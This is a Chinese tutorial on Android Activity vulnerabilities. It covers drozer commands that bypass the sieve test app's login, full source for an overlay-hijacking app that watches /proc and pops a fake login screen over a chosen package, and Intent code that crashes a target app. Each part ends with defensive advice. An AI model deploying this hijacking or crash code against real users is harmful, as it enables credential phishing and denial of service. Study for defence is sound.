一、前言
最近在总结Android APP漏洞挖掘方面的知识,上篇帖子Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF 向大家初步的介绍了Android APP漏洞挖掘过程中常见的工具,这里也是我平时使用过程中比较常用的三套件,今天我们来逐步学习和复现Android中 Activity漏洞挖掘部分知识,每个漏洞挖掘部分,我们都会选择具有代表性的样本案例给大家演示。
二、Activity漏洞初步介绍
1.Activity基本介绍
在学习Activity的漏洞挖掘之前,我们先对Activity的基本运行原理有一个初步的认识
(1)Intent 调用Activity
首先,我们要启动Activity,完成各个Activity之间的交互,我们需要使用Android中一个重要的组件Intent
1 2 3
Intent是各个组件之间交互的一种重要方式,它不仅可以指明当前组件想要执行的动作,而且还能在各组件之间传递数据。Intent一般可用于启动Activity、启动Service、发送广播等场景。 Intent有多个构造函数的重载,Intent(Context packageContext,Class<?> cls) 我们构建好一个Intent对象后,只需要使用 startActivity(Intent)来启动就可以了
Intent一般分为显式Intent和隐私Intent:
显示Intent打开Activity:
1 2 3
Intent intent = new Intent (MainActivity.class,SecondActivity.class); intent.putExtra("et1" ,et1Str); startActivity(intent);
隐式Intent打开Activity:
隐式Intent并不指明启动那个Activity而是指定一系列的action和category ,然后由系统去分析找到合适的Activity并打开,action和category一般在AndroidManifest中指定
1 2 3 4 5 6
<activity android:name =".SecondActivity" > <intent-filter > <action android:name ="com.example.test.ACTION_START" /> <category android:name ="android.intent.category.DEFAULT" /> </intent-filter > </activity >
只有<action>
和<category>
中的内容能够匹配上Intent中指定的action和category时,这个活动才能响应Intent
1 2
Intent intent = Intent("com.example.test.ACTION_START" );startActivity(intent);
我们这里只传入了ACTION_START
,这是因为android.intent.category.DEFAULT
是一种默认的category,在调用startActivity()
时会自动将这个category添加到Intent中,注意:Intent中只能添加一个action,但是可以添加多个category
对于含多个category情况,我们可以使用addCategory()
方法来添加一个category
1
intent.addCategory("com.example.test.MY_CATEGORY" );
隐私Intent打开程序外Activity:
例如我们调用系统的浏览器去打开百度网址
1 2 3
Intent intent = new Intent (Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com" )); startActivity(intent);
Intent.ACTION_VIEW
是系统内置的动作,然后将https://www.baidu.com
通过Uri.parse()
转换成Uri对象,传递给intent.setData(Uri uri)
函数
与此对应,我们在中配置标签,用于更加精确指定当前活动能够响应什么类型的数据:
1 2 3 4 5
android:scheme:用于指定数据的协议部分,如https android:host:用于指定数据的主机名部分,如www.baidu.com android:port:用于指定数据的端口,一般紧随主机名后 android:path:用于指定数据的路径 android:mimeType:用于指定支持的数据类型
只有当<data>
标签中指定的内容和Intent中携带的data完全一致时,当前Activity才能响应该Intent。下面我们通过设置data,让它也能响应打开网页的Intent
1 2 3 4 5 6 7
<activity android:name =".SecondActivity" > <intent-filter > <action android:name ="com.example.test.action.VIEW" /> <category android:name ="android.intent.category.DEFAULT" /> <data android:scheme ="http" > </intent-filter > </activity >
我们就能通过隐式Intent的方法打开外部Activity
1 2 3
Intent intent = new Intent (Intent.ACTION_VIEW);intent.setData(Uri.parse("https://www.baidu.com" )); startActivity(intent);
(2)Activity中传递数据
向下一个活动传递数据:
Intent传递字符串:
1 2 3
Intent intent = new Intent (MainActivity.class,SecondActivity.class);intent.putExtra("et1" ,et1Str); startActivity(intent);
Intent接收字符串:
1 2
Intent intent = getIntent();String data = intent.getStringExtra("et1" );
返回数据给上一个活动:
Android 在返回一个活动可以通过Back键,也可以使用startActivityForResult()
方法来启动活动,该方法在活动销毁时能返回一个结果给上一个活动
1 2
Intent intent = new Intent (MainActivity.class,SecondActivity.class);startActivityForResult(intent,1 );
我们在SecondActivity中返回数据
1 2 3 4
Intent intent = new Intent ();intent.putExtra("data" ,data); setResult(RESULT_OK,intent); finish();
当活动销毁后,就会回调到上一个活动,所以我们需要在MainActivity中接收
1 2 3 4 5 6 7 8 9 10 11 12
@Override protected void onActivityResult (int requestCode, int resultCode, Intent data) { super .onActivityResult(requestCode, resultCode, data); switch (requestCode){ case 1 : if (requestCode == RESULT_OK){ String returnData = data.getStringExtra("data" ); } break ; default : } }
如果我们要实现Back返回MainActivity,我们需要在SecondActivity中重写onBackPressed()方法
1 2 3 4 5 6 7 8
@Override public void onBackPressed () { super .onBackPressed(); Intent intent = new Intent (); intent.putExtra("data" ,"data" ); setResult(RESULT_OK,intent); finish(); }
(3)Activity的生命周期
Activity类中定义了7个回调方法,覆盖了Activity声明周期的每一个环节:
1 2 3 4 5 6 7
onCreate(): 在Activity第一次创建时调用 onStart():在Activity可见但是没有焦点时调用 onResume():在Activity可见并且有焦点时调用 onPause():这个方法会在准备启动或者恢复另一个Activity时调用,我们通常在该方法中释放消耗CPU的资源或者保存数据,但在该方法内不能做耗时操作,否则影响另一个另一个Activity的启动或恢复。 onStop():在Activity不可见时调用,它和onPause主要区别就是:onPause在失去焦点时会调用但是依然可见,而onStop是完全不可见。 onDestory():在Activity被销毁前调用 onRestart():在Activity由不在栈顶到再次回到栈顶并且可见时调用。
生命周期调用图:
1 2 3 4
我们可以将活动分为3中生存期: (1)完整生存期:活动在onCreate()和onDestroy()方法之间所经历的,从开始初始化到完成释放内存 (2)可见生存期:活动在onStart()和onStop()方法之间所经历的,主要包括资源的加载和资源的释放 (3)前台生存期:活动在onResume()方法和onPause()方法之间所经历的,主要是Activity的运行
(4)Activity的启动模式
我们这里之所以要介绍Activity的启动模式,是因为Activity界面劫持就是根据Activity的运行特点所实现的
Activity一共有四种启动模式:standard模式、singleTop模式、singleTask模式、singleInstance模式。下面我们简单介绍一下:
standard模式
如果不显示指定启动模式,那么Activity的启动模式就是standard,在该模式下不管Activity栈中有无Activity,均会创建一个新的Activity并入栈,并处于栈顶的位置
singleTop模式
1 2 3 4 5
(1 )启动一个Activity,这个Activity位于栈顶,则不会重新创建Activity,而直接使用,此时也不会调用Activity的onCreate(),因为并没有重新创建Activity Activity生命周期: onPause----->onNewIntent------>onResume 这个过程中调用了 onNewIntent(intent: Intent?),我们可以在该函数中通过Intent获取新传递过来的数据,因为此时数据可能已经发生变化 (2 ) 要启动的Activity不在栈顶,那么启动该Activity就会重新创建一个新的Activity并入栈,此时栈中就有2 个Activity的实例了
singleTask模式
1 2 3 4 5 6 7 8 9 10 11 12
如果准备启动的ActivityA的启动模式为singleTask的话,那么会先从栈中查找是否存在ActivityA的实例: 场景一、如果存在则将ActivityA之上的Activity都出栈,并调用ActivityA的onNewIntent() ActivityA启动ActivityB,然后启动ActivityA,此时生命周期过程: ActivityB onPause----->ActivityA(onRestart--->onStart--->onNewIntent--->onResume)--------->ActivityB(onStop--->onDestroy) 场景二、如果ActivityA位于栈顶,则直接使用并调用onNewInent(),此时和singleTop一样 ActivityA启动ActivityA,此时生命周期过程: ActivityA(onPause--->onNewIntent--->onResume) 场景三、 如果栈中不存在ActivityA的实例则会创建一个新的Activity并入栈。 ActivityA启动ActivityB,此时生命周期过程: ActivityA(onCreate--->onStart--->onResume)
singleInstance模式
1 2
指定singleInstance模式的Activity会启动一个新的返回栈来管理这个Activity(其实如果singleTask模式指定了不同的taskAffinity,也会启动一个新的返回栈 我们可以通过这种模式去实现其他程序和我们程序能共享这个Activity实例,在这种模式下,会有一个单独的返回栈来管理这个Activity,无论哪个应用程序来访问这个Activity,都在同一个返回栈中,也就解决了共享Activity实例的问题
2.Activity 漏洞种类和危害
我们在上文中详细介绍了Activity的运行原理,接下来我们了解一些Activity的漏洞种类和应用的安全场景
(1)Activity的漏洞种类
(2)Activity安全场景和危害
1 2 3 4 5
Activity的组件导出,一般会导致的问题:Android Browser Intent Scheme URLs的攻击手段 (1 )拒绝服务攻击:通过Intent给Activity传输畸形数据使得程序崩溃从而影响用户体验 (2 )越权攻击:Activity用户界面绕过会造成用户信息窃取、Activity界面被劫持产生欺诈等安全事件 (3 )组件导出导致钓鱼欺诈 (4 )隐式启动intent包含敏感数据
三、Activity漏洞原理分析和复现
1.越权绕过
(1)原理介绍
1 2 3 4 5
在Android系统中,Activity默认是不导出的,如果设置了exported = "true" 这样的关键值或者是添加了<intent-filter>这样的属性,那么此时Activity是导出的,就会导致越权绕过或者是泄露敏感信息等安全风险。 例如: (1 )一些敏感的界面需要用户输入密码才能查看,如果没有对调用此Activity的组件进行权限验证,就会造成验证的越权问题,导致攻击者不需要密码就可以打开 (2 )通过Intent给Activity传输畸形数据使得程序崩溃拒绝服务 (3 )对Activity界面进行劫持
(2)漏洞复现
样本 sieve.apk drozer.apk
首先,我们需要配置drozer的基本环境,具体配置操作,参考:Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF
手机端打开代理,开启31415端口
1 2
adb forward tcp:31415 tcp:31415 drozer console connect
我们尝试使用drozer去越权绕过该界面,首先,我们先列出程序中所有的APP 包
我们通过查询字段,可以快速定位到sieve的包名
然后,我们去查询目标应用的攻击面
1
run app.package .attacksurface com.mwr.example.sieve
我们可以看出,有三个activity是被导出的,我们再具体查询暴露activity的信息
1
run app.activity.info -a com.mwr.example.sieve
说明我们可以通过强制跳转其他两个界面,来实现越权绕过
1
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
说明我们成功的实现了越权绕过
(3)防护策略
1 2 3
防护策略: (1 )私有Activity不应被其他应用启动相对是安全的,创建activity时:设置exported属性为false (2 )公开暴露的Activity组件,可以被任意应用启动,创建Activity:设置export属性为true ,谨慎处理接收的Intent,有返回数据不包含敏感信息,不应发送敏感信息,收到返回数据谨慎处理
2.钓鱼欺诈/Activity劫持
(1)原理介绍
1 2 3 4 5 6 7 8 9 10 11
原理介绍: (1 )Android APP中不同界面的切换通过Activity的调度来实现,而Acticity的调度是由Android系统中的AMS来实现。每个应用想启动或停止一个进程,都报告给AMS,AMS收到启动或停止Activity的消息时,先更新内部记录,再通知相应的进程或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity会保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back,顶部的Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 (2 )由于Activity的这种特性,如果在启动一个Activity时,给它加入一个标志位FLAGACTIVITYNEW_TASK,就能使它置于栈顶并立马呈现给用户,如果这个Activity是用于盗号的伪装Activity,就会产生钓鱼安全事件或者一个Activity中有webview加载,允许加载任意网页都有可能产生钓鱼事件。 实现原理: 如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证 实现步骤: (1 )启动一个服务 (2 )不断扫描当前进程 (3 )找到目标后弹出伪装窗口
(2)漏洞复现
在进行Android 界面劫持过程中,我发现根据Android版本的变化情况,目前不同Android版本实现的功能代码有一定的差异性,再经过多次的学习和总结后,我复现而且改进了针对Android 6.0界面劫持的功能代码,并对不同版本的页面劫持做了一个初步的总结,下面是具体实验的详细过程:
首先我们新建一个服务类HijackingService.class,然后在MainActivity里面启动这个服务类
1 2 3 4 5 6 7 8 9 10 11
public class MainActivity extends AppCompatActivity { @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_main); Intent intent2 = new Intent (this ,HijackingService.class); startService(intent2); Log.w("hijacking" ,"activity启动用来劫持的Service" ); } }
我们可以看到程序一旦启动,就会启动HijackingService.class
然后我们编写一个HijackingApplication类,主要负责添加劫持类别,清除劫持类别,判断是否已经劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
public class HijackingApplication { private static List<String> hijackings = new ArrayList (); public static void addProgressHijacked (String paramString) { hijackings.add(paramString); } public static void clearProgressHijacked () { hijackings.clear(); } public static boolean hasProgressBeHijacked (String paramString) { return hijackings.contains(paramString); } }
说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。
我们为了实现开机启动服务,新建一个广播类:
1 2 3 4 5 6 7 8 9 10 11 12
public class HijackingReciver extends BroadcastReceiver { @Override public void onReceive (Context context, Intent intent) { if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED" )){ Log.w("hijacking" ,"开机启动" ); Intent intent2 = new Intent (context,HijackingService.class); context.startService(intent2); Log.w("hijacking" ,"启动用来劫持的Service" ); } } }
然后我们编写劫持类 HijackingService.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
private boolean hasStart = false ; private boolean isStart; HashMap<String, Class<?>> map = new HashMap <String, Class<?>>(); Handler handler = new Handler (); Runnable mTask = new Runnable () { @Override public void run () { Log.w("TAG" ,"ABC" ); int i = 1 ; List<AndroidAppProcess> Processes = AndroidProcesses.getRunningAppProcesses(); Log.w("hijacking" , "=================正在枚举进程=======================" ); for ( AndroidAppProcess appProcessInfo: Processes){ Log.w("TAG" ,appProcessInfo.name); String ProcessesRunning = ForegroundProcess.getForegroundApp(); Log.w("TAG============" ,ProcessesRunning); if (map.containsKey(ProcessesRunning)) { if (map.containsKey(appProcessInfo.name)) { Log.w("准备劫持" , appProcessInfo.name); hijacking(appProcessInfo.name); } else { } } } handler.postDelayed(mTask,8000 ); } private void hijacking (String progressName) { if (!HijackingApplicaiton.hasProgressBeHijacked(progressName)){ Intent localIntent = new Intent (HijackingService.this .getBaseContext(),HijackingService.this .map.get(progressName)); localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); HijackingService.this .getApplication().startActivity(localIntent); HijackingApplicaiton.addProgressHijacked(progressName); Log.w("TAG====hijacking" ,"已经劫持成功" ); } } }; @Override public void onCreate () { super .onCreate(); if (!isStart){ map.put("com.cz.babySister" ,SecondActivity.class); this .handler.postDelayed(this .mTask, 1000 ); isStart = true ; } } @Override public IBinder onBind (Intent intent) { throw new UnsupportedOperationException ("Not yet implemented" ); } @Override public boolean stopService (Intent name) { hasStart = false ; Log.w("TAG====hijacking" ,"劫持服务停止" ); HijackingApplicaiton.clearProgressHijacked(); return super .stopService(name); }
我们编写劫持类中,最关键的就是如何获取当前的前台进程和遍历正在运行的进程,这也是Android版本更新后,导致不同版本劫持差异的主要原因,对这里我做了一个初步的总结:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
注意: (1 )我们实现界面劫持,主要是根据Android Activity设计的漏洞,而这就会涉及对ActivityManager的掌握 网址:https: (2 )Android 获取当前的Activity,因为Android版本不同而具备一定差异性 1 )Android 5.0 之前可以使用getRunningTasks,该方法可以获得在前台运行的系统进程 2 )Android 5.0 -6.0 getRunningTasks失效,可以使用getRunningAppProcesses方法暂时替代 3 )Android 6.0 以上 getRunningAppProcess也失效了,系统关闭了三方软件对系统进程的访问 目前的方法: 1. 使用国外大佬的代码 AndroidProcesses 参考网址:https: https: https: 2. 使用第三方开源库:libsuperuser 使用文章:https: 开源网址:https: 第三种方法主要是利用Google 应用程序可以访问 /proc/ https: 4 )我们发现使用这两种方法都只能列出进程列表,并不能获取正在运行的进程,我们需要进一步过滤 参考网址:https: https: 如何判断Android包名获取进程是否存活:https: 如何查看前台进程的六种方法:https:
我们编写获取当前目标进程的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
public class ForegroundProcess { public static final int AID_APP = 10000 ; public static final int AID_USER = 100000 ; public static String getForegroundApp () { File[] files = new File ("/proc" ).listFiles(); int lowestOomScore = Integer.MAX_VALUE; String foregroundProcess = null ; for (File file : files) { if (!file.isDirectory()) { continue ; } int pid; try { pid = Integer.parseInt(file.getName()); } catch (NumberFormatException e) { continue ; } try { String cgroup = read(String.format("/proc/%d/cgroup" , pid)); String[] lines = cgroup.split("\n" ); String cpuSubsystem; String cpuaccctSubsystem; if (lines.length == 2 ) { cpuSubsystem = lines[0 ]; cpuaccctSubsystem = lines[1 ]; } else if (lines.length == 3 ) { cpuSubsystem = lines[0 ]; cpuaccctSubsystem = lines[2 ]; } else { continue ; } if (!cpuaccctSubsystem.endsWith(Integer.toString(pid))) { continue ; } if (cpuSubsystem.endsWith("bg_non_interactive" )) { continue ; } String cmdline = read(String.format("/proc/%d/cmdline" , pid)); if (cmdline.contains("com.android.systemui" )) { continue ; } int uid = Integer.parseInt(cpuaccctSubsystem.split(":" )[2 ] .split("/" )[1 ].replace("uid_" , "" )); if (uid >= 1000 && uid <= 1038 ) { continue ; } int appId = uid - AID_APP; int userId = 0 ; while (appId > AID_USER) { appId -= AID_USER; userId++; } if (appId < 0 ) { continue ; } File oomScoreAdj = new File (String.format( "/proc/%d/oom_score_adj" , pid)); if (oomScoreAdj.canRead()) { int oomAdj = Integer.parseInt(read(oomScoreAdj .getAbsolutePath())); if (oomAdj != 0 ) { continue ; } } int oomscore = Integer.parseInt(read(String.format( "/proc/%d/oom_score" , pid))); if (oomscore < lowestOomScore) { lowestOomScore = oomscore; foregroundProcess = cmdline; } } catch (IOException e) { e.printStackTrace(); } } return foregroundProcess; } private static String read (String path) throws IOException { StringBuilder output = new StringBuilder (); BufferedReader reader = new BufferedReader (new FileReader (path)); output.append(reader.readLine()); for (String line = reader.readLine(); line != null ; line = reader .readLine()) { output.append('\n' ).append(line); } reader.close(); return output.toString().trim(); } }
我们继续编写劫持替换的测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
public class SecondActivity extends AppCompatActivity { private static Boolean flag ; @Override protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_second); Log.w("TAGSecod" ,"切换" ); EditText name = findViewById(R.id.editTextTextPersonName); EditText passward = findViewById(R.id.editTextTextPassword); Button button = findViewById(R.id.button); button.setOnClickListener(new View .OnClickListener() { @Override public void onClick (View v) { Log.w("TAG" , "成功劫持进入该界面" ); flag =false ; } }); } }
最后在我们的配置文件中加入相应的权限和配置信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
<?xml version="1.0" encoding="utf-8" ?> <manifest xmlns:android ="http://schemas.android.com/apk/res/android" package ="com.example.activityhajacker" > <uses-permission android:name ="android.permission.INTERNET" /> <uses-permission android:name ="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:allowBackup ="true" android:icon ="@mipmap/ic_launcher" android:label ="@string/app_name" android:roundIcon ="@mipmap/ic_launcher_round" android:supportsRtl ="true" android:theme ="@style/Theme.ActivityHajacker" > <activity android:name =".SecondActivity" > </activity > <service android:name =".HijackingService" android:enabled ="true" android:exported ="true" /> <activity android:name =".MainActivity" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity > <receiver android:name =".HijackingReciver" android:enabled ="true" > <intent-filter > <action android:name ="android.intent.action.BOOT_COMPLETED" /> </intent-filter > </receiver > </application > </manifest >
我们需要将服务的时间设置成6秒,避免程序界面还未加载就劫持了
效果演示:
我们编写劫持类安装,打开:
我们可以发现劫持类在后台运行:
我们打开目标程序:
等待5秒,然后劫持成功,这个时间我们可以在代码段调整:
这样我们成功完成了对目标程序劫持,这里我只编写了一个简易的界面,大家可以编写更加复杂的界面,这主要是针对Android 6.0平台的劫持,各位也可以试试其他版本的平台
(3)安全防护
1 2 3 4 5 6
如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true" 时上面的方法也无效 目前,对activity劫持的防护,只能是适当给用户警示信息。一些简单的防护手段就是显示当前运行的进程提示框。 梆梆加固则是在进程切换的时候给出提示,并使用白名单过滤。 参考网址:https: http: https:
通过它提示程序进入后台来提示用户
3.隐私启动Intent包含敏感数据
(1)原理介绍
1 2 3 4 5 6 7 8 9 10 11 12 13
1. 背景知识:Intent可分为隐私(implicitly)和显式(explicitly)两种(1 )显式Intent:即在构造Intent对象时就指定接收者,它一般用在知道目标组件名称的前提下, 一般是在相同的应用程序内部实现的,如下: Intent intent = new Intent (MainActivit.this , NewActivity.class); startActivity(intent); (2 )隐式Intent:即Intent的发送者在构造Intent对象时,并不知道也不关心接收者是谁,有利于 降低发送者和接收者之间的耦合,它一般用在没有明确指出目标组件名称的1 前提下,一般是用于 不同应用程序之间,如下: Intent intent = new Intent ();intent.setAction("com.wooyun.test" ); startActivity(intent); 对于显式Intent,Android不需要去做解析,因为目标组件已经很明确,Android需要解析的是那些 隐式Intent,通过解析,将Intent映射给可以处理此Intent的Activity,IntentReceiver或Service
1
我们有一个应用A,采用Intent隐式传递,它的动作是"X",此时还有一个应用B,动作也是X,我们在启动的时候,通过Intent隐式传递,就会同时弹出两个界面,我们就不知道到底启动A还是B
因为现在这种漏洞在Android版本更新后,基本很少出现了,所以这里就不做复现和安全防护了
4.拒绝服务攻击
(1)原理介绍
1 2 3 4
原理介绍: Android提供Intent机制来协助应用间的交互和通讯,通过Intent实现对应用中一次操作的动作、动作涉及数据、附加数据进行描述,Android通过Intent的描述,负责找到对应组件,完成调用。 拒绝服务攻击源于程序没有对Intent。getXXXExtra()获取的异常或者畸形数据处理时没有进行异常捕获,从而导致攻击者向应用发送此类空数据、异常或者畸形数据来达到致使该应用crash的目的,我们可以通过intent发送空数据、异常或畸形数据给正常应用,导致其崩溃。本地拒绝服务可以被竞争方利用来攻击,使得自己的应用崩溃,造成破坏。 危害:拒绝服务漏洞对于锁屏应用、安全防护类软件危害是巨大的
提到拒绝服务攻击,我们就不得不讲一下Android外部程序的调用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
总结: 1. 使用自定义ActionA程序中调用的代码为: Intent intent = new Intent (); intent.setAction("com.test.action.PLAYER" ); startActivity(intent); B程序中的AndroidManifest.xml中启动Activity的intent-filter <intent-filter> <action android:name="android.intent.action.MAIN" /> <action android:name="com.test.action.PLAYER" /> <category android:name="android.intent.category.DEFAULT" /><!--必须,否则无效--> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> 2. 使用包类名 A程序中调用的代码为: Intent intent = new Intent (); intent.setClassName("com.test" , "com.test.Player" ); startActivity(intent); intent.setClassName(arg1,arg2)中arg1是被调用程序B的包名,arg2是B程序中目的activity的完整类名 或者使用ComponentName Intent intent = new Intent (); ComponentName comp = new ComponentName ("com.test" , "com.test.Player" ); intent.setComponent(comp); startActivity(intent); B程序被调用中AndroidManifest.xml中启动Activity的intent-filter不需要特别加入其它信息,如下即可: <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter>
(2)漏洞复现
我们查看一个目标应用的AndroidManifest.xml文件:
1 2 3 4 5 6
<activity android:label ="@string/app_name" android:name =".MainLoginActivity" android:excludeFromRecents ="true" android:launchMode ="singleTask" android:windowSoftInputMode ="adjustUnspecified|stateVisible|adjustResize" > <intent-filter > <action android:name ="android.intent.action.MAIN" /> <category android:name ="android.intent.category.LAUNCHER" /> </intent-filter > </activity >
我们编写一个简易的APP程序,对目标程序进行拒绝服务攻击
1 2 3 4 5
Intent intent = new Intent ();ComponentName comp = new ComponentName ("com.mwr.example.sieve" ,"com.mwr.example.sieve.MainLoginActivity" );intent.putExtra("" , "" ); intent.setComponent(comp); startActivity(intent);
这里我们传入一个空字符,使其产生错误
当然我们还可以使用我们的神器drozer来进行攻击
远程拒绝服务攻击:
还有其他类型的拒绝服务攻击,大家可以参考博客:
(3)安全防护
1 2 3 4 5 6 7 8 9
安全防护: (1 )空指针异常、类型转换异常、数组越界访问异常、类未定义异常、其它异常 (2 )谨慎处理接收的intent以及其携带的信息,对接收到的任何数据做try /catch 处理,以及对不符合预期数据做异常处理 总结: 1. 不需要被外部调用的activity设置android:exported="false" ;2. 若需要外部调用,需自定义signature或者signatureOrSystem级别的权限;3. 注册的组件请严格校验输入参数,注意空值判定和类型转换判断
四、实验总结
写到这里,这个帖子总算写完了,对Android的Activity漏洞挖掘的总结过程中,我又再一次将Android 的Activity组件运行的基本原理熟悉了一遍,学习就是不断的总结提高把,可能在编写的过程中,还存在很多不足地方,就请各位大佬指教了。
五、参考网址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
Android 第一行代码 https: https: https: https: https: https: https: https: https: https: https: https: https: http: http:
- source:security-kitchen.com
评论